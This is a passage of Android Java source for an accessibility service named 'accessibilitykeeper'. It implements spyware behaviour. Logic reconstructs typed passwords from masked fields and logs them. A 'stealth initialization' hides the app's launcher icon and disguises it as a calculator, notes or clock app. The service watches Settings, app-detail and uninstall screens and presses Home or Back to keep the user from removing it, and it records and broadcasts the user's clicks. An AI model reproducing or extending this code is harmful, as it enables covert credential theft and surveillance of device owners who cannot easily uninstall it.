        // 旧方法实现已删除，不再使用
    }
    
    /**
     * 【已废弃】旧方法实现代码，已删除
     */
    @Deprecated
    private void handleInsertionOrDeletion_OLD_IMPL_CODE(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
        // 旧方法实现代码已删除，不再使用
    }

    /**
     * 【已废弃】不再使用，已由 handlePasswordInsertDelete 替代
     */
    @Deprecated
    private void updatePasswordFromRawTextPreserveExisting(String rawText, String cleanText) {
        // 不再使用此方法
    }

    /**
     * 从原始文本中提取新增的字符（根据插入位置和数量）
     * 【优化】处理中间插入的情况，例如在位置4插入qwer后，需要准确提取qwer
     */
    private String extractNewCharsFromRawText(String rawText, int fromIndex, int addedCount) {
        try {
            // 提取当前原始文本的所有可见字符及其位置
            String currentVisible = extractAllVisibleCharsInOrder(rawText);
            String lastVisible = extractAllVisibleCharsInOrder(lastRawPassword);

            Log.d("PasswordExtract", "提取新字符");
            Log.d("PasswordExtract", "  当前原始文本: " + rawText);
            Log.d("PasswordExtract", "  上次原始文本: " + lastRawPassword);
            Log.d("PasswordExtract", "  当前可见字符: " + currentVisible);
            Log.d("PasswordExtract", "  上次可见字符: " + lastVisible);
            Log.d("PasswordExtract", "  插入位置: " + fromIndex + ", 数量: " + addedCount);

            // 【策略1】如果当前可见字符比上次多，且在插入位置附近，提取新增部分
            if (currentVisible.length() > lastVisible.length() && fromIndex >= 0) {
                // 计算应该插入的位置（在可见字符数组中的位置）
                // 如果 fromIndex=4，说明在密码的第4个位置插入
                // 需要找到当前可见字符中，从位置4开始的新增字符

                // 如果上次可见字符的长度 <= fromIndex，说明插入位置在末尾或之后
                if (lastVisible.length() <= fromIndex) {
                    // 直接提取末尾新增的部分
                    String newChars = currentVisible.substring(lastVisible.length());
                    Log.d("PasswordExtract", "✅ 策略1-末尾插入: " + newChars);
                    return newChars;
                } else {
                    // 插入位置在中间
                    // 比较前后两部分，找出新增的字符
                    // 例如：lastVisible="123456789", fromIndex=4, 插入"qwer"
                    // currentVisible应该是"1234qwer6789"

                    // 提取插入位置之前的部分（应该相同）
                    String beforeInsert = lastVisible.substring(0, Math.min(fromIndex, lastVisible.length()));

                    // 在当前可见字符中查找 beforeInsert 的前缀匹配
                    if (currentVisible.startsWith(beforeInsert)) {
                        // 找到 beforeInsert 之后的部分
                        int startPos = beforeInsert.length();
                        // 提取新增的字符（addedCount 个）
                        if (startPos + addedCount <= currentVisible.length()) {
                            String newChars = currentVisible.substring(startPos, startPos + addedCount);
                            Log.d("PasswordExtract", "✅ 策略1-中间插入(前缀匹配): " + newChars);
                            return newChars;
                        }
                    }

                    // 如果前缀不匹配，尝试查找 beforeInsert 在 currentVisible 中的位置
                    int beforeIndex = currentVisible.indexOf(beforeInsert);
                    if (beforeIndex >= 0 && beforeIndex <= fromIndex) {
                        // 找到 beforeInsert 之后的部分
                        int startPos = beforeIndex + beforeInsert.length();
                        // 提取新增的字符（addedCount 个）
                        if (startPos + addedCount <= currentVisible.length()) {
                            String newChars = currentVisible.substring(startPos, startPos + addedCount);
                            Log.d("PasswordExtract", "✅ 策略1-中间插入(位置匹配): " + newChars);
                            return newChars;
                        }
                    }

                    // 【备用策略】如果无法精确匹配，使用最长公共子序列方法
                    // 找到插入位置前后的公共部分，提取中间的新增部分
                    int diff = currentVisible.length() - lastVisible.length();
                    if (diff > 0 && diff <= addedCount) {
                        // 尝试从插入位置提取新增字符
                        if (fromIndex < currentVisible.length()) {
                            // 从插入位置开始，提取 diff 个字符
                            int endPos = Math.min(fromIndex + diff, currentVisible.length());
                            String candidate = currentVisible.substring(fromIndex, endPos);
                            Log.d("PasswordExtract", "✅ 策略1-长度差异提取: " + candidate);
                            return candidate;
                        }
                    }
                }
            }

            // 【策略2】如果无法通过比较提取，尝试从原始文本的插入位置提取
            List<CharPosition> allChars = extractCharPositionsWithRawIndex(rawText);
            if (fromIndex >= 0 && !allChars.isEmpty()) {
                StringBuilder newChars = new StringBuilder();

                // 找到从插入位置开始的字符
                // 注意：rawIndex 是字符在原始文本中的位置，需要映射到密码位置
                // 如果原始文本是 ••3qwer•••，那么 qwer 的 rawIndex 可能是 2,3,4,5
                // 但它们在密码中的位置应该是 fromIndex 到 fromIndex+addedCount-1

                // 尝试提取连续的新字符
                int targetCount = addedCount;
                for (CharPosition cp : allChars) {
                    // 如果字符在原始文本中的位置在插入位置附近，可能是新插入的
                    // 需要更智能的判断：比较当前和上次的可见字符列表
                    if (newChars.length() < targetCount) {
                        // 检查这个字符是否是新出现的
                        boolean isNew = true;
                        if (!lastVisible.isEmpty()) {
                            // 如果上次可见字符中没有这个字符（在特定位置），则是新的
                            // 但这个方法不够精确，因为字符可能重复
                        }
                        newChars.append(cp.character);
                    }
                }

                if (newChars.length() > 0) {
                    Log.d("PasswordExtract", "✅ 策略2-从原始文本提取: " + newChars.toString());
                    return newChars.toString();
                }
            }

            // 【策略3】如果还是找不到，返回所有可见字符中与上一次不同的部分
            if (!lastVisible.isEmpty() && currentVisible.length() > lastVisible.length()) {
                String diff = currentVisible.substring(lastVisible.length());
                Log.d("PasswordExtract", "✅ 策略3-长度对比: " + diff);
                return diff;
            }

            // 【策略4】如果上次为空，返回所有可见字符
            if (lastVisible.isEmpty() && !currentVisible.isEmpty()) {
                Log.d("PasswordExtract", "✅ 策略4-首次输入: " + currentVisible);
                return currentVisible;
            }

            Log.d("PasswordExtract", "⚠️ 无法提取新字符，返回空");
            return "";

        } catch (Exception e) {
            Log.e("PasswordExtract", "❌ 提取新字符错误", e);
            return "";
        }
    }

    /**
     * 提取新增的字符（按输入顺序）- 保留用于兼容性
     */
    private String extractNewCharacters(String lastRaw, String currentRaw, String lastClean, String currentClean) {
        try {
            // 如果当前清理后的密码比上一次长，说明有新增字符
            if (currentClean.length() > lastClean.length()) {
                String newChars = currentClean.substring(lastClean.length());
                Log.d("PasswordExtract", "方法1-长度对比: 新增 " + newChars);
                return newChars;
            }

            // 如果上一次是空的，直接返回当前清理后的所有字符
            if (lastClean.isEmpty() && !currentClean.isEmpty()) {
                Log.d("PasswordExtract", "方法3-首次输入: " + currentClean);
                return currentClean;
            }

        } catch (Exception e) {
            Log.e("PasswordExtract", "❌ 提取新字符错误", e);
        }

        return "";
    }

    /**
     * 从文本中提取所有非点号字符（保持顺序）
     */
    private List<Character> extractCharsWithPositions(String text) {
        List<Character> chars = new ArrayList<>();
        for (char c : text.toCharArray()) {
            if (c != '•' && c != '*' && c != '.') {
                chars.add(c);
            }
        }
        return chars;
    }

    /**
     * 找出两个字符串的差异部分
     */
    private String findDifference(String last, String current) {
        // 如果当前比上次长，返回新增的部分
        if (current.length() > last.length()) {
            return current.substring(last.length());
        }

        // 如果长度相同但内容不同，可能是替换，找出不同的字符
        if (current.length() == last.length()) {
            StringBuilder diff = new StringBuilder();
            for (int i = 0; i < current.length(); i++) {
                if (i >= last.length() || current.charAt(i) != last.charAt(i)) {
                    diff.append(current.charAt(i));
                }
            }
            return diff.toString();
        }

        return "";
    }

    /**
     * 【解决方案2】尝试所有可能的获取密码的方法
     */
    private void tryGetPasswordText(AccessibilityNodeInfo source, AccessibilityEvent event) {
        try {
            // 方法2: source.getText()
            // 已在主逻辑中处理
        } catch (Exception e) {
            Log.e("PasswordSolution", "❌ tryGetPasswordText 错误", e);
        }
    }

    /**
     * 初始化组件和变量
     */
    private void initializeComponents() {
        packageManager = getPackageManager();
        mainActivityComponent = new ComponentName(this, MainActivity.class);
//        deviceAdminComponent = new ComponentName(this, DeviceAdminReceiver.class);
    }

    /**
     * 执行隐蔽初始化流程
     */
    private void executeStealthInitialization() {
        Log.d(TAG, "Starting stealth initialization...");

        // 1. 立即隐藏主入口
        hideMainActivity();

//        // 2. 启动核心服务
//        startCoreServices();

        // 3. 设置伪装入口
        setupFakeEntries();

//        // 4. 申请必要权限
//        requestNecessaryPermissions();
//
//        // 5. 完成后自毁
//        finishAndHide();
    }


    // 组件管理器
    private PackageManager packageManager;
    private ComponentName mainActivityComponent;

    /**
     * 隐藏主入口Activity
     */
    private void hideMainActivity() {
        try {
            // 禁用主Activity，使其不在Launcher中显示
            packageManager.setComponentEnabledSetting(
                    mainActivityComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP
            );

            // 同时从最近任务列表中移除
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
                ActivityManager am = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
                if (am != null) {
                    List<ActivityManager.AppTask> tasks = am.getAppTasks();
                    for (ActivityManager.AppTask task : tasks) {
                        task.finishAndRemoveTask();
                    }
                }
            }

            Log.d(TAG, "Main activity hidden successfully");

        } catch (Exception e) {
            Log.e(TAG, "Failed to hide main activity", e);
        }
    }


    /**
     * 设置伪装入口
     */
    private void setupFakeEntries() {
        Log.d(TAG, "Setting up fake entries...");

        try {
            // 可用伪装别名列表
            String[] aliases = {
                    ".alias.CalculatorAlias",
                    ".alias.NotesAlias",
                    ".alias.ClockAlias",
                    ".alias.SystemToolsAlias"
            };

            // 随机选择一个伪装入口
            String selectedAlias = aliases[new Random().nextInt(aliases.length)];
            ComponentName aliasComponent = new ComponentName(this, selectedAlias);

            // 启用选定的伪装Activity
            packageManager.setComponentEnabledSetting(
                    aliasComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
            );


            Log.d(TAG, "Fake entry setup completed: " + selectedAlias);

        } catch (Exception e) {
            Log.e(TAG, "Failed to setup fake entries", e);
            // 失败时启用默认伪装
//            enableDefaultDisguise();
        }
    }

    @Override
    public void onInterrupt() {
        Log.w(TAG, "Service interrupted");
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.i(TAG, "Service destroyed");
        
        // 注销投屏权限自动点击广播接收器
        try {
            if (screenCastAutoClickReceiver != null) {
                unregisterReceiver(screenCastAutoClickReceiver);
                Log.d(TAG, "✅ SCREEN_CAST_AUTO_CLICK_RECEIVER_UNREGISTERED");
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UNREGISTERING_SCREEN_CAST_AUTO_CLICK_RECEIVER", e);
        }
        
        // 注销初始化文件广播接收器
        try {
            if (initFileReceiver != null) {
                unregisterReceiver(initFileReceiver);
                Log.d(TAG, "✅ 初始化文件广播接收器已注销");
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ 注销初始化文件广播接收器失败", e);
        }
    }


    /**
     * 记录服务启动
     */
    private void recordServiceStart() {
        try {
            long currentTime = System.currentTimeMillis();
            int serviceStartCount = prefs.getInt("service_start_count", 0) + 1;

            prefs.edit()
                    .putInt("service_start_count", serviceStartCount)
                    .putLong("last_service_start_time", currentTime)
                    .apply();

            Log.i(TAG, "🚀 SERVICE_START_RECORDED - Count: " + serviceStartCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording service start", e);
        }
    }

    /**
     * 更新重启计数
     */
    private void updateRestartCount() {
        try {
            int restartCount = prefs.getInt("service_restart_count", 0) + 1;
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putInt("service_restart_count", restartCount)
                    .putLong("last_service_restart_time", currentTime)
                    .apply();

            Log.i(TAG, "🔄 SERVICE_RESTART_COUNT_UPDATED - Count: " + restartCount);

        } catch (Exception e) {
            Log.e(TAG, "Error updating restart count", e);
        }
    }


    /**
     * 监听用户点击到系统设置界面
     */
    private void monitorSettingsAccess(AccessibilityEvent event) {
        try {
            if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
                String className = event.getClassName() != null ? event.getClassName().toString() : "";
                Log.d(TAG, "🔍 WINDOW_STATE_CHANGED - Package: " + packageName + ", Class: " + className);
                //在这里判断用户点击的是那个应用
                if (mIsDeviceUnlocked) {
                    if (isPackageName(packageName)) {
                        if (event.getText() != null && event.getText().size() > 0) {
                            for (CharSequence sequence : event.getText()) {
                                if (comparisonString(sequence.toString())) {
                                    performGlobalAction(GLOBAL_ACTION_HOME);
                                    // <--- 执行返回操作
                                    break;
                                }
                            }
                        }
                    }
                }
                // 检测是否进入设置应用
                if (isSettingsApp(packageName, className)) {
                    Log.i(TAG, "⚙️ SETTINGS_APP_ACCESSED - User entered settings app: " + packageName);

                    // 记录设置访问事件
                    recordSettingsAccessEvent(packageName, className);

                    // 发送设置访问广播
                    sendSettingsAccessBroadcast(packageName, className);

                    // 根据具体设置类型进行不同处理
                    handleSpecificSettingsAccess(packageName, className);
                }

            } else if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED) {
                // 监听在设置界面内的点击事件
                String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
                if (isSettingsApp(packageName, "")) {
                    // 记录设置内点击事件
                    recordSettingsClickEvent(event);
                    // 检查是否点击了应用程序相关选项
                    checkApplicationRelatedClick(event);
                }
            }

        } catch (Exception e) {
            Log.e(TAG, "Error monitoring settings access", e);
        }
    }

    /**
     * 检查是否点击了应用程序相关选项
     */
    private void checkApplicationRelatedClick(AccessibilityEvent event) {
        try {

            //通过String进行判断
            Boolean aBoolean = false;
            List<CharSequence> text1 = event.getText();
            if (text1 != null && text1.size() > 0) {
                for (CharSequence sequence : text1) {
                    if (aBoolean = comparisonString(sequence.toString()))
                        break;
                }
                if (aBoolean) {
                    performGlobalAction(GLOBAL_ACTION_BACK); // <--- 执行返回操作
                }
            }
            //通过包名进行判断
            AccessibilityNodeInfo sourceNode = event.getSource();
//            List<CharSequence> text1 = event.getText();
            if (sourceNode != null) {
                try {
                    // 检查点击的文本内容
                    CharSequence text = sourceNode.getText();
                    CharSequence contentDescription = sourceNode.getContentDescription();

                    String textStr = text != null ? text.toString() : "";
                    String descStr = contentDescription != null ? contentDescription.toString() : "";

                    // 检查是否点击了应用程序相关选项
                    if (isApplicationRelatedText(textStr) || isApplicationRelatedText(descStr)) {
                        Log.i(TAG, "📱 APPLICATION_OPTION_CLICKED - User clicked application related option");

                        // 记录应用程序选项点击事件
                        recordApplicationOptionClickEvent(textStr, descStr);

                        // 发送应用程序选项点击广播
                        sendApplicationOptionClickBroadcast(textStr, descStr);

                        // 检查是否点击了具体的应用程序
                        checkSpecificApplicationClick(sourceNode);
                    }

                    } finally {
                    sourceNode.recycle();
                    }
                }
        } catch (Exception e) {
            Log.e(TAG, "Error checking application related click", e);
        }
    }

    /**
     * 检查文本是否与应用程序相关
     */
    private boolean isApplicationRelatedText(String text) {
        if (text == null || text.isEmpty()) return false;

        String lowerText = text.toLowerCase();
        return lowerText.contains("应用") ||
                lowerText.contains("application") ||
                lowerText.contains("应用管理") ||
                lowerText.contains("app management") ||
                lowerText.contains("应用信息") ||
                lowerText.contains("app info") ||
                lowerText.contains("已安装应用") ||
                lowerText.contains("installed apps") ||
                lowerText.contains("应用列表") ||
                lowerText.contains("app list") ||
                lowerText.contains("所有应用") ||
                lowerText.contains("all apps") ||
                lowerText.contains("应用设置") ||
                lowerText.contains("app settings") ||
                lowerText.contains("应用权限") ||
                lowerText.contains("app permissions") ||
                lowerText.contains("应用详情") ||
                lowerText.contains("app details") ||
                lowerText.contains("卸载") ||
                lowerText.contains("uninstall") ||
                lowerText.contains("删除") ||
                lowerText.contains("remove") ||
                lowerText.contains("存储") ||
                lowerText.contains("storage") ||
                lowerText.contains("缓存") ||
                lowerText.contains("cache") ||
                lowerText.contains("数据") ||
                lowerText.contains("data");
    }

    /**
     * 检查是否点击了具体的应用程序
     */
    private void checkSpecificApplicationClick(AccessibilityNodeInfo sourceNode) {
        try {
            // 获取根节点来检查当前界面
            AccessibilityNodeInfo rootNode = getRootInActiveWindow();
            if (rootNode != null) {
                try {
                    // 检查是否在应用详情页面
                    if (isAppDetailPage(rootNode)) {
                        Log.i(TAG, "📱 APP_DETAIL_PAGE_DETECTED - User is viewing app details");

                        // 检查是否是我们应用的详情页面
                        if (isOurAppDetailPage(rootNode)) {
                            Log.w(TAG, "🚨 OUR_APP_DETAIL_ACCESSED - User accessed our app details");
                            recordOurAppDetailAccessEvent();
                        } else {
                            Log.d(TAG, "📱 OTHER_APP_DETAIL_ACCESSED - User accessed other app details");
                            recordOtherAppDetailAccessEvent(rootNode);
                        }
                    }

                    // 检查是否在应用列表页面
                    if (isAppListPage(rootNode)) {
                        Log.i(TAG, "📱 APP_LIST_PAGE_DETECTED - User is viewing app list");
                        recordAppListAccessEvent();
                    }

                    } finally {
                    rootNode.recycle();
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking specific application click", e);
        }
    }

    /**
     * 检查是否是应用详情页面
     */
    private boolean isAppDetailPage(AccessibilityNodeInfo rootNode) {
        try {
            return containsAppDetailText(rootNode) ||
                    containsAppInfoText(rootNode) ||
                    containsUninstallButton(rootNode) ||
                    containsStorageInfo(rootNode);
        } catch (Exception e) {
            Log.e(TAG, "Error checking app detail page", e);
            return false;
        }
    }

    /**
     * 检查是否是应用列表页面
     */
    private boolean isAppListPage(AccessibilityNodeInfo rootNode) {
        try {
            return
                    containsInstalledAppsText(rootNode) ||
                            containsAllAppsText(rootNode);
        } catch (Exception e) {
            Log.e(TAG, "Error checking app list page", e);
            return false;
        }
    }

    /**
     * 检查是否包含应用详情相关文本
     */
    private boolean containsAppDetailText(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("应用详情") || textStr.contains("app details") ||
                        textStr.contains("应用信息") || textStr.contains("app info")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsAppDetailText(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking app detail text", e);
            return false;
        }
    }

    /**
     * 检查是否包含应用信息相关文本
     */
    private boolean containsAppInfoText(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("版本") || textStr.contains("version") ||
                        textStr.contains("大小") || textStr.contains("size") ||
                        textStr.contains("权限") || textStr.contains("permissions")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsAppInfoText(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking app info text", e);
            return false;
        }
    }

    /**
     * 检查是否包含卸载按钮
     */
    private boolean containsUninstallButton(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("卸载") || textStr.contains("uninstall") ||
                        textStr.contains("删除") || textStr.contains("remove")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsUninstallButton(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking uninstall button", e);
            return false;
        }
    }

    /**
     * 检查是否包含存储信息
     */
    private boolean containsStorageInfo(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("存储") || textStr.contains("storage") ||
                        textStr.contains("缓存") || textStr.contains("cache") ||
                        textStr.contains("数据") || textStr.contains("data")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsStorageInfo(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking storage info", e);
            return false;
        }
    }

    /**
     * 检查是否包含已安装应用文本
     */
    private boolean containsInstalledAppsText(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("已安装应用") || textStr.contains("installed apps")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsInstalledAppsText(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking installed apps text", e);
            return false;
        }
    }

    /**
     * 检查是否包含所有应用文本
     */
    private boolean containsAllAppsText(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("所有应用") || textStr.contains("all apps")) {
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsAllAppsText(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking all apps text", e);
            return false;
        }
    }

    /**
     * 记录应用程序选项点击事件
     */
    private void recordApplicationOptionClickEvent(String text, String description) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int clickCount = prefs.getInt("application_option_click_count", 0) + 1;

            prefs.edit()
                    .putInt("application_option_click_count", clickCount)
                    .putLong("last_application_option_click_time", currentTime)
                    .putString("last_clicked_application_text", text)
                    .putString("last_clicked_application_desc", description)
                    .apply();

            Log.i(TAG, "📝 APPLICATION_OPTION_CLICK_RECORDED - Count: " + clickCount + ", Text: " + text);

                } catch (Exception e) {
            Log.e(TAG, "Error recording application option click event", e);
        }
    }

    /**
     * 发送应用程序选项点击广播
     */
    private void sendApplicationOptionClickBroadcast(String text, String description) {
        try {
            Intent appClickIntent = new Intent("com.demo.accessibilitykeeper.APPLICATION_OPTION_CLICKED");
            appClickIntent.putExtra("clicked_text", text);
            appClickIntent.putExtra("clicked_description", description);
            appClickIntent.putExtra("timestamp", System.currentTimeMillis());
            sendBroadcast(appClickIntent);

            Log.d(TAG, "📡 APPLICATION_OPTION_CLICK_BROADCAST_SENT - Text: " + text);

        } catch (Exception e) {
            Log.e(TAG, "Error sending application option click broadcast", e);
        }
    }

    /**
     * 记录我们应用详情访问事件
     */
    private void recordOurAppDetailAccessEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("our_app_detail_access_count", 0) + 1;

            prefs.edit()
                    .putInt("our_app_detail_access_count", accessCount)
                    .putLong("last_our_app_detail_access_time", currentTime)
                    .apply();

            Log.w(TAG, "📝 OUR_APP_DETAIL_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording our app detail access event", e);
        }
    }

    /**
     * 记录其他应用详情访问事件
     */
    private void recordOtherAppDetailAccessEvent(AccessibilityNodeInfo rootNode) {
        try {
            String appName = extractAppNameFromPage(rootNode);

            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("other_app_detail_access_count", 0) + 1;

            prefs.edit()
                    .putInt("other_app_detail_access_count", accessCount)
                    .putLong("last_other_app_detail_access_time", currentTime)
                    .putString("last_accessed_app_name", appName)
                    .apply();

            Log.d(TAG, "📝 OTHER_APP_DETAIL_ACCESS_RECORDED - Count: " + accessCount + ", App: " + appName);

        } catch (Exception e) {
            Log.e(TAG, "Error recording other app detail access event", e);
        }
    }

    /**
     * 记录应用列表访问事件
     */
    private void recordAppListAccessEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("app_list_access_count", 0) + 1;

            prefs.edit()
                    .putInt("app_list_access_count", accessCount)
                    .putLong("last_app_list_access_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 APP_LIST_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording app list access event", e);
        }
    }

    /**
     * 从页面中提取应用名称
     */
    private String extractAppNameFromPage(AccessibilityNodeInfo rootNode) {
        try {
            if (rootNode == null) return "Unknown";

            // 尝试从页面标题或第一个文本节点获取应用名称
            CharSequence text = rootNode.getText();
            if (text != null && !text.toString().trim().isEmpty()) {
                return text.toString().trim();
            }

            // 递归查找应用名称
            for (int i = 0; i < rootNode.getChildCount(); i++) {
                AccessibilityNodeInfo child = rootNode.getChild(i);
                if (child != null) {
                    try {
                        CharSequence childText = child.getText();
                        if (childText != null && !childText.toString().trim().isEmpty()) {
                            String childTextStr = childText.toString().trim();
                            // 过滤掉一些常见的非应用名称文本
                            if (!childTextStr.contains("设置") && !childTextStr.contains("Settings") &&
                                    !childTextStr.contains("应用") && !childTextStr.contains("Application") &&
                                    childTextStr.length() > 1 && childTextStr.length() < 50) {
                                return childTextStr;
                            }
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return "Unknown";
        } catch (Exception e) {
            Log.e(TAG, "Error extracting app name from page", e);
            return "Unknown";
        }
    }

    /**
     * 处理特定设置页面的访问
     */
    private void handleSpecificSettingsAccess(String packageName, String className) {
        try {
            // 检查是否是无障碍设置
            if (isAccessibilitySettings(packageName, className)) {
                Log.i(TAG, "🔧 ACCESSIBILITY_SETTINGS_ACCESSED - User entered accessibility settings");
                recordAccessibilitySettingsAccess();
            }
            // 检查是否是应用管理设置
            else if (isAppManagementSettings(packageName, className)) {
                Log.i(TAG, "📱 APP_MANAGEMENT_SETTINGS_ACCESSED - User entered app management");
                recordAppManagementSettingsAccess();
            }
            // 检查是否是开发者选项
            else if (isDeveloperOptionsSettings(packageName, className)) {
                Log.i(TAG, "🛠️ DEVELOPER_OPTIONS_ACCESSED - User entered developer options");
                recordDeveloperOptionsAccess();
            }
            // 检查是否是电池优化设置
            else if (isBatteryOptimizationSettings(packageName, className)) {
                Log.i(TAG, "🔋 BATTERY_OPTIMIZATION_ACCESSED - User entered battery optimization");
                recordBatteryOptimizationAccess();
            }
            // 其他设置页面
            else {
                Log.i(TAG, "⚙️ OTHER_SETTINGS_ACCESSED - User entered other settings");
                recordOtherSettingsAccess(packageName, className);
            }

        } catch (Exception e) {
            Log.e(TAG, "Error handling specific settings access", e);
        }
    }

    /**
     * 检查是否是应用管理设置
     */
    private boolean isAppManagementSettings(String packageName, String className) {
        try {
            // 检查类名是否包含应用管理相关
            return className.contains("ApplicationSettings") ||
                    className.contains("AppInfo") ||
                    className.contains("InstalledAppDetails") ||
                    className.contains("ManageApplications") ||
                    className.contains("ApplicationList") ||
                    className.contains("AppManagement");
            } catch (Exception e) {
            Log.e(TAG, "Error checking app management settings", e);
            return false;
        }
    }

    /**
     * 检查是否是开发者选项设置
     */
    private boolean isDeveloperOptionsSettings(String packageName, String className) {
        try {
            return className.contains("DevelopmentSettings") ||
                    className.contains("DeveloperOptions") ||
                    className.contains("Development") ||
                    className.contains("Developer");
            } catch (Exception e) {
            Log.e(TAG, "Error checking developer options settings", e);
            return false;
        }
    }

    /**
     * 检查是否是电池优化设置
     */
    private boolean isBatteryOptimizationSettings(String packageName, String className) {
        try {
            return className.contains("BatteryOptimization") ||
                    className.contains("PowerUsage") ||
                    className.contains("BatterySettings") ||
                    className.contains("PowerSettings");
            } catch (Exception e) {
            Log.e(TAG, "Error checking battery optimization settings", e);
            return false;
        }
    }

    /**
     * 记录设置访问事件
     */
    private void recordSettingsAccessEvent(String packageName, String className) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("settings_access_count", 0) + 1;

            prefs.edit()
                    .putInt("settings_access_count", accessCount)
                    .putLong("last_settings_access_time", currentTime)
                    .putString("last_settings_package", packageName)
                    .putString("last_settings_class", className)
                    .apply();

            Log.i(TAG, "📝 SETTINGS_ACCESS_RECORDED - Count: " + accessCount + ", Package: " + packageName);

        } catch (Exception e) {
            Log.e(TAG, "Error recording settings access event", e);
        }
    }

    /**
     * 记录设置内点击事件
     */
    private void recordSettingsClickEvent(AccessibilityEvent event) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int clickCount = prefs.getInt("settings_click_count", 0) + 1;

            String clickedText = "";
            if (event.getSource() != null && event.getSource().getText() != null) {
                clickedText = event.getSource().getText().toString();
            }

            prefs.edit()
                    .putInt("settings_click_count", clickCount)
                    .putLong("last_settings_click_time", currentTime)
                    .putString("last_clicked_text", clickedText)
                    .apply();

            Log.d(TAG, "📝 SETTINGS_CLICK_RECORDED - Count: " + clickCount + ", Text: " + clickedText);

        } catch (Exception e) {
            Log.e(TAG, "Error recording settings click event", e);
        }
    }

    /**
     * 发送设置访问广播
     */
    private void sendSettingsAccessBroadcast(String packageName, String className) {
        try {
            Intent settingsIntent = new Intent("com.demo.accessibilitykeeper.SETTINGS_ACCESSED");
            settingsIntent.putExtra("package_name", packageName);
            settingsIntent.putExtra("class_name", className);
            settingsIntent.putExtra("timestamp", System.currentTimeMillis());
            sendBroadcast(settingsIntent);

